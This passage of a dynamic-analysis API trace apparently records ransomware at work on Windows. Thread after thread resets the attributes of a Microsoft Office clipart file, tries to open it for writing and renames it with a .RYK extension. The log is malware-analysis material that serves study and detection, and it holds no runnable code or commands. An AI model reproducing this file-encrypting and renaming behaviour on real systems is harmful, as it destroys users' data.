	[0234.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.493] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1535
	os_tid = 0x1e04

	[0234.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF", dwFileAttributes=0x80) returned 0
	[0234.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1536
	os_tid = 0x1e08

	[0234.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF", dwFileAttributes=0x80) returned 0
	[0234.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1537
	os_tid = 0x1e0c

	[0234.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF", dwFileAttributes=0x80) returned 0
	[0234.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.432] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1538
	os_tid = 0x1e10

	[0234.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF", dwFileAttributes=0x80) returned 0
	[0234.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1539
	os_tid = 0x1e14

	[0234.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF", dwFileAttributes=0x80) returned 0
	[0234.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.639] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1540
	os_tid = 0x1e18

	[0234.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID", dwFileAttributes=0x80) returned 0
	[0234.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.437] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1541
	os_tid = 0x1e1c

	[0234.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF", dwFileAttributes=0x80) returned 0
	[0234.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.439] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1542
	os_tid = 0x1e20

	[0234.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF", dwFileAttributes=0x80) returned 0
	[0234.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.441] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1543
	os_tid = 0x1e24

	[0234.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF", dwFileAttributes=0x80) returned 0
	[0234.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.443] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1544
	os_tid = 0x1e28

	[0234.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF", dwFileAttributes=0x80) returned 0
	[0234.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.444] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1545
	os_tid = 0x1e2c

	[0234.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF", dwFileAttributes=0x80) returned 0
	[0234.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.638] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1546
	os_tid = 0x1e30

	[0234.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF", dwFileAttributes=0x80) returned 0
	[0234.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.513] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1547
	os_tid = 0x1e34

	[0234.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF", dwFileAttributes=0x80) returned 0
	[0234.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.515] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1548
	os_tid = 0x1e38

	[0234.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF", dwFileAttributes=0x80) returned 0
	[0234.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.715] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1549
	os_tid = 0x1e3c

	[0234.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF", dwFileAttributes=0x80) returned 0
	[0234.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.713] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1550
	os_tid = 0x1e40

	[0234.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF", dwFileAttributes=0x80) returned 0
	[0234.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.712] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1551
	os_tid = 0x1e44

	[0234.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF", dwFileAttributes=0x80) returned 0
	[0234.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.711] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1552
	os_tid = 0x1e48

	[0234.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF", dwFileAttributes=0x80) returned 0
	[0234.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.710] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1553
	os_tid = 0x1e4c

	[0234.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID", dwFileAttributes=0x80) returned 0
	[0234.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1554
	os_tid = 0x1e50

	[0234.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID", dwFileAttributes=0x80) returned 0
	[0234.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1555
	os_tid = 0x1e54

	[0234.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF", dwFileAttributes=0x80) returned 0
	[0234.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.527] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1556
	os_tid = 0x1e58

	[0234.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF", dwFileAttributes=0x80) returned 0
	[0234.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.529] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1557
	os_tid = 0x1e5c

	[0234.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF", dwFileAttributes=0x80) returned 0
	[0234.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.707] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1558
	os_tid = 0x1e60

	[0234.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF", dwFileAttributes=0x80) returned 0
	[0234.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1559
	os_tid = 0x1e64

	[0234.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF", dwFileAttributes=0x80) returned 0
	[0234.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.646] CloseHandle (hObject=0xffffffffffffffff) returned 0
